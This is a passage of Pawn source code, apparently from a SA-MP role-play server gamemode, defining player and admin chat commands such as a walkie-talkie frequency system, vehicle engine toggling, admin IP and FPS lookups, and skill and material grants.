							bootSTATE[veh] = 0;
			//VehOwned[veh] = 0;
			//VehOwner[veh] = 9999;
		   DestroyVehicle(veh);
		   VehicleTurbo[veh] = 0;
		   vJump[veh] = 0;
		   OilInCar[veh] = 0;
           if(VehLinkDare[veh] == 1)
           {
             VehLinkDare[veh] = 0;
             VehLink[veh][0] = '\0';
           }
		   new striing[128];
		   format(striing, sizeof(striing), "[Admin-Warn]:{ffffff} Event-Organizer %s has just destroyed vehicleid %d.", sendername,veh);
		   ABroadCast(COLOR_AdminWarn,striing,1);
		   SCM(playerid,COLOR_WHITE,"That vehicle destroyed.");
		   //IsValidAVeh[veh] = false;
		   return 1;
		  }
		return 1;
		}*/
		if(strcmp(cmd, "/equip", true) == 0)
		{
		if(PINFO[playerid][pGunLic] == 0) return SCM(playerid,COLOR_SINA3,"You haven't a weapon license.");
		if(!IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
		if(!PTP(2.0,playerid,244.331329,118.533126,1003.218750)) return SCM(playerid,COLOR_BLUE,"You are not in Police Armoury(equip place)");
		if(OnDuty[playerid] == 0) return SCM(playerid,COLOR_BLUE,"You are not On-Duty");
		new strgun[150];
		strcat(strgun,"M4\nMP5\nDesert Eagle\nRifle\nShotgun\nSDPistol\nAK-47");
		ShowPlayerDialog(playerid,21356,DIALOG_STYLE_LIST,"Guns list:",strgun,"Select","Cancel");
		return 1;
		}
		if(strcmp(cmd, "/wthelp", true) == 0)
		{
			return SCM(playerid,COL_SYN,"***WALKIE TALKIE*** /wt(speak on walkie talkie), /setfreq(set your walkie talkie freq), /togwt(disable/enable tog)");
		}
		if(strcmp(cmd, "/wt", true) == 0)
		{
			if(PINFO[playerid][pWalkieTalkie] == 1)
			{
				if(strcmp(PlayerSetFreq[playerid],"0.0",true))
				{
						GetPlayerName(playerid, sendername, sizeof(sendername));
						new length = strlen(cmdtext);
						while ((idx < length) && (cmdtext[idx] <= ' '))
						{
							idx++;
						}
						new offset = idx;
						new result[144];
						while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
						{
							result[idx - offset] = cmdtext[idx];
							idx++;
						}
						result[idx - offset] = EOS;
						if(!strlen(result))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /wt <Text>");
							return 1;
						}
						new stringg[128];
						if(PINFO[playerid][pAdmin]<12)CensorText(result);
						format(stringg, sizeof(string), "[WT Freq: %s] %s : {FFFFFF}%s",PlayerSetFreq[playerid], sendername,(result));
						SendWalkieMessage(PlayerSetFreq[playerid], COLOR_Good, stringg)
                        if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
		  for(new i; i < sizeof(SusWords); i++)
		  {
		   if(PINFO[playerid][pAdmin] < 12)
			 {
			          if(strcmp(result, LastMessageWarned[playerid], false))
         {
			   if(strfind(result, SusWords[i], true) != -1)
			   {
					new name[512];
					GetPlayerName(playerid, name, sizeof(name));
					format(string, sizeof(string), "[AD-{00FF00}/WT{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
					SendAdminMMessage(COLOR_SINAGHERMEZ,string);
					strcpy(LastMessageWarned[playerid],result,149);
					break;
					}
			   }
			 }
		  }




						return 1;
				}
				else return SCM(playerid,COLOR_LIGHTGREEN,"first set your freq with /setfreq");
			}
			else return SCM(playerid,COLOR_LIGHTGREEN,"You haven't Walkie Talkie, you can buy it from 24-7.");
		}
		if(!strcmp(cmd,"/setfreq",true))
		{
			if(PINFO[playerid][pWalkieTalkie] != 1) return SCM(playerid,COLOR_SINA3,"You haven't a Walkie talkie you can buy one from another 24-7");
			if(PINFO[playerid][pRank] == 0 && PINFO[playerid][pMember] != 0) return SCM(playerid, COLOR_YELLOW, "You cannot set freq your phone when you are in faction employ test.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /setfreq <Freq(60.0-128.0)>");
			if(!strcmp(tmp, "0.0", true) || !strcmp(tmp, "0", true)) { format(PlayerSetFreq[playerid],10,"0.0"); return SCM(playerid,COLOR_Good,"Walkie talkie disabled."); }
			if(strlen(tmp) < 2 || strlen(tmp) > 5) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
			new noqteamount,noqteplace = 9999;
			for(new i = 0;i<strlen(tmp);i++)
			{
				switch(tmp[i])
				{
					case '.':{ noqteamount ++; noqteplace = i; }
				}
			}
			if(noqteamount > 1) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
			if(noqteamount > 0)
			{
				if(noqteplace != 2 && noqteplace != 3) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
			}
			new value1,value2,vv1[5],vv2[5];
			if(noqteamount == 0 && noqteplace == 9999)
			{
				if(strlen(tmp) > 3 || strlen(tmp) < 2) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
				if(strlen(tmp) == 3)
				{
					vv1[0] = tmp[0];
					vv1[1] = tmp[1];
					vv1[2] = tmp[2];
					value1 = strval(vv1);
					if(value1 > 128) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
					vv2[0] = '0';
					value2 = 0;
				}
				else
				{
					vv1[0] = tmp[0];
					vv1[1] = tmp[1];
					value1 = strval(vv1);
					if(value1 < 60) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
					vv2[0] = '0';
					value2 = 0;
				}
			}
			if(noqteplace == 2)
			{
				vv1[0] = tmp[0];
				vv1[1] = tmp[1];
				value1 = strval(vv1);
				if(value1 < 60) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
				vv2[0] = tmp[3];
				value2 = strval(vv2);
				if(value2 > 9 || value2 < 0) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
			}
			if(noqteplace == 3)
			{
				vv1[0] = tmp[0];
				vv1[1] = tmp[1];
				vv1[2] = tmp[2];
				value1 = strval(vv1);
				if(value1 > 128) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
				vv2[0] = tmp[4];
				value2 = strval(vv2);
				if(value2 > 9 || value2 < 0) return SCM(playerid,COLOR_SINA3,"Invalid Freq, type a freq between 60.0 and 128.0");
			}
			format(string,256,"You have set your freq on %i.%i successfully.",value1,value2);
			SCM(playerid,COLOR_Good,string);
			format(string,256,"%d.%d",value1,value2);
			format(PlayerSetFreq[playerid],10,string);
			return 1;
		}
		if(strcmp(cmd, "/mysamp", true) == 0)
		{
						new strings[40];
						GetPlayerVersion(playerid, strings, sizeof(strings));
						format(strings, sizeof(strings), "Your version of SA-MP is %s", strings);
						SendMessage(playerid, COLOR_MEDIC, strings);
						//SCM(playerid,COLOR_LIGHTRED,"If you haven't newer version, download it from our /forum(Type /forum to get forum URL)");
						return 1;
		}
		if(strcmp(cmd, "/jobs", true) == 0)
		{
		if(OnCheckpoint[playerid] != 0)
		{
		SCM(playerid,COLOR_LIGHTRED,"You already have an enable checkpoint.");
		return 1;
		}
				new buyabler[1024];
				format(buyabler,sizeof(buyabler),"Detective \t\tLegal job\nLawyer \t\t\tLegal job\nDrugs Dealer \t\tIllegal job\nCar jacker \t\tIllegal job\nCar Mechanic \t\tLegal job\nBus driver \t\tLegal job\nTrucker \t\tLegal job\nFarmer \t\t\tLegal job\nArms Dealer \t\tIllegal Job\nGarbage man \t\tLegal Job\nPizza Boy \t\tLegal Job\nSweeper \t\tLegal Job\nLiquor Dealer \t\tIllegal Job\nOil Dealer\t\tLegal Job");
				ShowPlayerDialog(playerid,2555,DIALOG_STYLE_LIST,"Jobs List:",buyabler,"Select","Cancel");
		return 1;
		}
	//---------------------Engine system By Sina----------------
	if(strcmp(cmd, "/engine", true) == 0)

		{
			new vid = GetPlayerVehicleID(playerid);

	//		new v;

			if(OwnedMashin[vid] == 1) {
//			new owner = MashinOwner[vid];
			}
			if(LockEngine[vid] == true) return SCM(playerid, COLOR_LIGHTRED, "Another admin locked the engine of this vehicle.");
			if(Refueling[playerid] >= 1)
			{
				SCM(playerid,COLOR_LIGHTGREEN,"GasStation: Wait for vehicle refuel successfully.");
				return 1;
			}
			/*
			if(OwnedMashin[vid] == 1 && vInfo[v][cFixed] != 1)
			{
				return 1;
			}*/
			if(OnRentMashinMessage[playerid] == true) return 1;
			if(IsPlayerConnected(playerid))
			{
				if(IsPlayerInAnyVehicle(playerid))
				{
					if(Benzin[vid] == 0)
					{
						SCM(playerid,COLOR_LIGHTGREEN,"No fuel in vehicle, Call a mechanic with /service mechanic or buy a gas can");
						GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
						SetVehicleParamsEx(vid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
						EngineSTATE[vid] = 0;
						LastSpeedVeh[playerid] = GetVehicleSpeed( vid );
						return 1;
					}
					if(!engineOn[GetPlayerVehicleID(playerid)])
					{
						if(GetPlayerState(playerid) == PLAYER_STATE_PASSENGER)
						{
							return 1;
						}
						if(pveh == 510 || pveh == 481 || pveh == 509)
						{
							SCM(playerid,COLOR_LIGHTBLUE,"can't stop engine or start for bikes, its already start of Engine on.");
							GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[vid] = 1;
							return 1;
						}
						if(vid == 31 || vid == 32 || vid == 33 || vid == 34 || vid == 35 || vid == bullet1 || vid == bullet2)
						{
                            LastSpeedVeh[playerid] = GetVehicleSpeed( vid );
							new playerveh = GetPlayerVehicleID(playerid);
							new vehicles = GetVehicleModel(playerveh) - 400;
							if(EngineSTATE[vid] == 0)
							{
                                LastSpeedVeh[playerid] = GetVehicleSpeed( vid );
								GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
								SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
								EngineSTATE[vid] = 1;
								GetPlayerName(playerid, sendername, sizeof(sendername));
								TogglePlayerControllable(playerid, 1);
								format(string, sizeof(string), "%s starts the engine of the Police %s.", sendername,aVehicleNames[vehicles]);
								ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
								if(OnSpeedc[playerid] == 1)
								{
									KillTimer(SpeedTimer[playerid]);
									SpeedTimerUsed[playerid] = false;
									SpeedTimer[playerid] = 0;
									OnSpeedc[playerid] = 0;
									SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Disabled.");
								}
								return 1;
							}
							else
							{
                                TimeOffedEngine[playerid] = 10;
								LastSpeedVeh[playerid] = GetVehicleSpeed( vid );
								GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
								SetVehicleParamsEx(vid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
								EngineSTATE[vid] = 0;
								GetPlayerName(playerid, sendername, sizeof(sendername));
								format(string, sizeof(string), "%s stops the engine of the Police %s.", sendername,aVehicleNames[vehicles]);
								ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
								if(OnSpeedc[playerid] == 1)
								{
									KillTimer(SpeedTimer[playerid]);
									SpeedTimerUsed[playerid] = false;
									SpeedTimer[playerid] = 0;
									OnSpeedc[playerid] = 0;
									SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Disabled.");
								}
								return 1;
							}
						}
						new playerveh = GetPlayerVehicleID(playerid);
						new vehicles = GetVehicleModel(playerveh) - 400;
						if(EngineSTATE[vid] == 0)
						{
							GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[vid] = 1;
							GetPlayerName(playerid, sendername, sizeof(sendername));
							TogglePlayerControllable(playerid, 1);
							if(!IsValidObject(ShipObject[playerveh]))
							{
							format(string, sizeof(string), "%s starts the engine of the %s.", sendername,aVehicleNames[vehicles]);
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							else
							{
							format(string, sizeof(string), "%s starts the engine of the UFO.", sendername);
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							if(OnSpeedc[playerid] == 1)
							{
								KillTimer(SpeedTimer[playerid]);
								SpeedTimerUsed[playerid] = false;
								SpeedTimer[playerid] = 0;
								OnSpeedc[playerid] = 0;
								SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Disabled.");
							}
						}
						else
						{
                            TimeOffedEngine[playerid] = 10;
							LastSpeedVeh[playerid] = GetVehicleSpeed( vid );
							GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(vid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[vid] = 0;
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(!IsValidObject(ShipObject[playerveh]))
							{
							format(string, sizeof(string), "%s stops the engine of the %s.", sendername,aVehicleNames[vehicles]);
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							else
							{
							format(string, sizeof(string), "%s stops the engine of the UFO.", sendername);
							ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							if(OnSpeedc[playerid] == 1)
							{
								KillTimer(SpeedTimer[playerid]);
								SpeedTimerUsed[playerid] = false;
								SpeedTimer[playerid] = 0;
								OnSpeedc[playerid] = 0;
								SCM(playerid,COLOR_SINA3,"Speed Camera {FFFFFF}Disabled.");
							}
						}
					}
				}
			}
			return 1;
		}
	//---------------------getip------------------
		if(strcmp(cmd, "/getip", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 6)
			{
				tmp = strtok(cmdtext,idx);
				new playersip[100];
				if(!strlen(tmp))
				{
					SendMessage(playerid,COL_SYN,"Syntax: /getip <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(!IsPlayerConnected(giveplayerid)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
				GetPlayerIp( giveplayerid,playersip,sizeof(playersip));
				// Geo_IP
				new stringk[144];
				format(stringk, sizeof(stringk), "%s's IP is: {A9C4E4}%s{FFFFFF}.",giveplayer,PINFO[giveplayerid][pIp]);
			 SendMessage(playerid,COLOR_WHITE,stringk);
			 // Geo_IP
			 //new sttrr[144];
			 //format(sttrr,144,"{FFFFFF}Admin %s seen %s's IP.", PINFO[playerid][pName], giveplayer);
			 //AdminWarn(sttrr);
			}
			else
			{
			SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
			return 1;
		}
		
		
		
		
		
		
		
				if(strcmp(cmd, "/getfps", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 5)
			{
				tmp = strtok(cmdtext,idx);
				new playersip[256];
				if(!strlen(tmp))
				{
					SendMessage(playerid,COL_SYN,"Syntax: /getfps <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				//if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
				GetPlayerIp( giveplayerid,playersip,sizeof(playersip));
				// Geo_IP
			//	new stringz[256];
				//new strings[256];
				format(string, sizeof(string), "%s's FPS is: {A9C4E4}%d{FFFFFF}.",giveplayer,pFPS[giveplayerid]);
			 //format(stringz, sizeof(stringz), "%s's ISP is: {A9C4E4}%s{FFFFFF}.",giveplayer,Sherkat);
			 //format(strings, sizeof(strings), "%s's Country is: {A9C4E4}%s{FFFFFF}.",giveplayer,Keshvar);
			 SendMessage(playerid,COLOR_WHITE,string);
			 //SendMessage(playerid,COLOR_WHITE,stringz);
			 //SendMessage(playerid,COLOR_WHITE,strings);
			 // Geo_IP
			 //new sttrr[256];
			 //format(sttrr,256,"{FFFFFF}Admin %s seen %s's FPS.", PINFO[playerid][pName], giveplayer);
			 //AdminWarn(sttrr);
			}
			else
			{
			SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
			return 1;
		}
		
		
		
		
		
		
			if(strcmp(cmd, "/nitro", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
								new para1;
			   para1 = ReturnUser6(tmp);
			 GetPlayerName(para1, giveplayer, sizeof(giveplayer));
			 GetPlayerName(playerid, sendername, sizeof(sendername));
					AddVehicleComponent(GetPlayerVehicleID(playerid), 1010);
					SendMessage(playerid, COLOR_Good, "Vehicle nitro installed.");
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s gots nitro.", sendername);
					ABroadCast(COLOR_AdminWarn,string,1);
				}
			}
			return 1;
		}
//fly
		if (strcmp(cmd, "/jump", true) == 0)
		{
			if(IsPlayerConnected(playerid))
   {
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					new Float:px, Float:py, Float:pz, Float:pa;
					GetPlayerFacingAngle(playerid,pa);
					if(pa >= 0.0 && pa <= 22.5) //n1
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px, py+30, pz+5);
					}
					if(pa >= 332.6 && pa < 0.0) //n2
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px, py+30, pz+5);
					}
					if(pa >= 22.6 && pa <= 67.5) //nw
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px-15, py+15, pz+5);
					}
					if(pa >= 67.6 && pa <= 112.5) //w
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px-30, py, pz+5);
					}
					if(pa >= 112.6 && pa <= 157.5) //sw
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px-15, py-15, pz+5);
					}
					if(pa >= 157.6 && pa <= 202.5) //s
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px, py-30, pz+5);
					}
					if(pa >= 202.6 && pa <= 247.5)//se
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px+15, py-15, pz+5);
					}
					if(pa >= 247.6 && pa <= 292.5)//e
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px+30, py, pz+5);
					}
					if(pa >= 292.6 && pa <= 332.5)//e
					{
						GetPlayerPos(playerid, px, py, pz);
						SetPlayerPos(playerid, px+15, py+15, pz+5);
					}
					if(pa >= 332.6 && pa <= 360.9)//0 :| added by Sina
					{
					GetPlayerPos(playerid,px,py,pz);
					SetPlayerPos(playerid,px,py+30,pz+5);
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
			}
			
			
			
			
			
					if(strcmp(cmd, "/allskills", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 11)
			{
				if(IsPlayerConnected(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /allskills <Playerid/PartOfName> <Skill>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /allskills <Playerid/PartOfName> <Skill>");
						return 1;
					}
				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					new playa;
					GetPlayerName(playa, sendername, sizeof(sendername));
					playa = ReturnUser6(tmp);
					moneys = strval(tmp);
					if(moneys < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
					if(moneys >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]:{ffffff} Admin %s sets all %s's skills to %d", sendername,giveplayer,moneys);
					ABroadCast(COLOR_AdminWarn,string,1);
					format(string, 256, "Admin %s sets all of your skills to %d", sendername,moneys);
					SendClientMessage(giveplayerid,COLOR_LIGHTRED,string);
					if(moneys == 1)// skill 1
					{
						PlayerInfo[giveplayerid][pMatsSkill] = 0;
						SaveKonVal(giveplayerid, "pMatsSkill", 0);
						PlayerInfo[giveplayerid][pDetSkill] = 0;
						SaveKonVal(giveplayerid, "pDetSkill", 0);
						PlayerInfo[giveplayerid][pLawSkill] = 0;
						SaveKonVal(giveplayerid, "pLawSkill", 0);
						PlayerInfo[giveplayerid][pMechSkill] = 0;
						SaveKonVal(giveplayerid, "pMechSkill", 0);
						PlayerInfo[giveplayerid][pNewsSkill] = 0;
						SaveKonVal(giveplayerid, "pNewsSkill", 0);
						PlayerInfo[giveplayerid][pJackSkill] = 0;
						SaveKonVal(giveplayerid, "pJackSkill", 0);
						PlayerInfo[giveplayerid][pDrugsSkill] = 0;
						SaveKonVal(giveplayerid, "pDrugsSkill", 0);
						PlayerInfo[giveplayerid][pRobSkill] = 0;
						SaveKonVal(giveplayerid, "pRobSkill", 0);
					}
					if(moneys == 2)// skill 2
					{
						PlayerInfo[giveplayerid][pMatsSkill] = 50;
						SaveKonVal(giveplayerid, "pMatsSkill", 50);
						PlayerInfo[giveplayerid][pDetSkill] = 50;
						SaveKonVal(giveplayerid, "pDetSkill", 50);
						PlayerInfo[giveplayerid][pLawSkill] = 50;
						SaveKonVal(giveplayerid, "pLawSkill", 50);
						PlayerInfo[giveplayerid][pMechSkill] = 50;
						SaveKonVal(giveplayerid, "pMechSkill", 50);
						PlayerInfo[giveplayerid][pNewsSkill] = 50;
						SaveKonVal(giveplayerid, "pNewsSkill", 50);
						PlayerInfo[giveplayerid][pJackSkill] = 50;
						SaveKonVal(giveplayerid, "pJackSkill", 50);
						PlayerInfo[giveplayerid][pDrugsSkill] = 50;
						SaveKonVal(giveplayerid, "pDrugsSkill", 50);
						PlayerInfo[giveplayerid][pRobSkill] = 25;
						SaveKonVal(giveplayerid, "pRobSkill", 25);
					}
					if(moneys == 3)// skill 3
					{
						PlayerInfo[giveplayerid][pMatsSkill] = 100;
						SaveKonVal(giveplayerid, "pMatsSkill", 100);
						PlayerInfo[giveplayerid][pDetSkill] = 100;
						SaveKonVal(giveplayerid, "pDetSkill", 100);
						PlayerInfo[giveplayerid][pLawSkill] = 150;
						SaveKonVal(giveplayerid, "pLawSkill", 150);
						PlayerInfo[giveplayerid][pMechSkill] = 100;
						SaveKonVal(giveplayerid, "pMechSkill", 100);
						PlayerInfo[giveplayerid][pNewsSkill] = 100;
						SaveKonVal(giveplayerid, "pNewsSkill", 100);
						PlayerInfo[giveplayerid][pJackSkill] = 100;
						SaveKonVal(giveplayerid, "pJackSkill", 100);
						PlayerInfo[giveplayerid][pDrugsSkill] = 100;
						SaveKonVal(giveplayerid, "pDrugsSkill", 100);
						PlayerInfo[giveplayerid][pRobSkill] = 50;
						SaveKonVal(giveplayerid, "pRobSkill", 50);
					}
					if(moneys == 4)// skill 4
					{
						PlayerInfo[giveplayerid][pMatsSkill] = 200;
						SaveKonVal(giveplayerid, "pMatsSkill", 200);
						PlayerInfo[giveplayerid][pDetSkill] = 200;
						SaveKonVal(giveplayerid, "pDetSkill", 200);
						PlayerInfo[giveplayerid][pLawSkill] = 200;
						SaveKonVal(giveplayerid, "pLawSkill", 200);
						PlayerInfo[giveplayerid][pMechSkill] = 200;
						SaveKonVal(giveplayerid, "pMechSkill", 200);
						PlayerInfo[giveplayerid][pNewsSkill] = 200;
						SaveKonVal(giveplayerid, "pNewsSkill", 200);
						PlayerInfo[giveplayerid][pJackSkill] = 200;
						SaveKonVal(giveplayerid, "pJackSkill", 200);
						PlayerInfo[giveplayerid][pDrugsSkill] = 200;
						SaveKonVal(giveplayerid, "pDrugsSkill", 200);
						PlayerInfo[giveplayerid][pRobSkill] = 75;
						SaveKonVal(giveplayerid, "pRobSkill", 75);
					}
					if(moneys == 5)// skill 5
					{
						PlayerInfo[giveplayerid][pMatsSkill] = 300;
						SaveKonVal(giveplayerid, "pMatsSkill", 300);
						PlayerInfo[giveplayerid][pDetSkill] = 400;
						SaveKonVal(giveplayerid, "pDetSkill", 400);
						PlayerInfo[giveplayerid][pLawSkill] = 250;
						SaveKonVal(giveplayerid, "pLawSkill", 250);
						PlayerInfo[giveplayerid][pMechSkill] = 400;
						SaveKonVal(giveplayerid, "pMechSkill", 400);
						PlayerInfo[giveplayerid][pNewsSkill] = 400;
						SaveKonVal(giveplayerid, "pNewsSkill", 400);
						PlayerInfo[giveplayerid][pJackSkill] = 400;
						SaveKonVal(giveplayerid, "pJackSkill", 400);
						PlayerInfo[giveplayerid][pDrugsSkill] = 400;
						SaveKonVal(giveplayerid, "pDrugsSkill", 400);
						PlayerInfo[giveplayerid][pRobSkill] = 100;
						SaveKonVal(giveplayerid, "pRobSkill", 100);
					}
				}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
			return 1;
		}
			
			
			
			
			
			
			
			
		//------------------------------------------------[Admin Give Materials]-------------------------------------
		if(strcmp(cmd, "/agivemats", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 10 || PINFO[playerid][pSponser] == 1)
			{
				if(IsPlayerConnected(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /agivemats <Playerid/PartOfName> <Amount>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /agivemats <Playerid/PartOfName> <Amount>");
						return 1;
					}
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
				{
				if(giveplayerid!=playerid)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
				return 1;
				}
				}
				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					new playa;
					GetPlayerName(playa, sendername, sizeof(sendername));
					playa = ReturnUser6(tmp);
					moneys = strval(tmp);
					PlayerInfo[giveplayerid][pMats] = moneys;
					SaveKonVal(giveplayerid, "pMats", moneys);
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]:{ffffff} Admin %s given %s materials to %s", sendername,FormatNumber(moneys),giveplayer);
					ABroadCast(COLOR_AdminWarn,string,1);
					format(string, 256, "Admin {ffffff}%s{ff6347} given {ffffff}%s{ff6347} materials to you", sendername,FormatNumber(moneys),giveplayer);
					SendClientMessage(giveplayerid,COLOR_LIGHTRED,string);
				}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/agivedr", true) == 0)
		{
			if (PlayerInfo[playerid][pAdmin] >= 10 || PINFO[playerid][pSponser] == 1)
			{
				if(IsPlayerConnected(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /agivedr <Playerid/PartOfName> <Amount>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /agivedr <Playerid/PartOfName> <Amount>");
						return 1;
					}
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
				{
				if(giveplayerid!=playerid)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
				return 1;
				}
				}
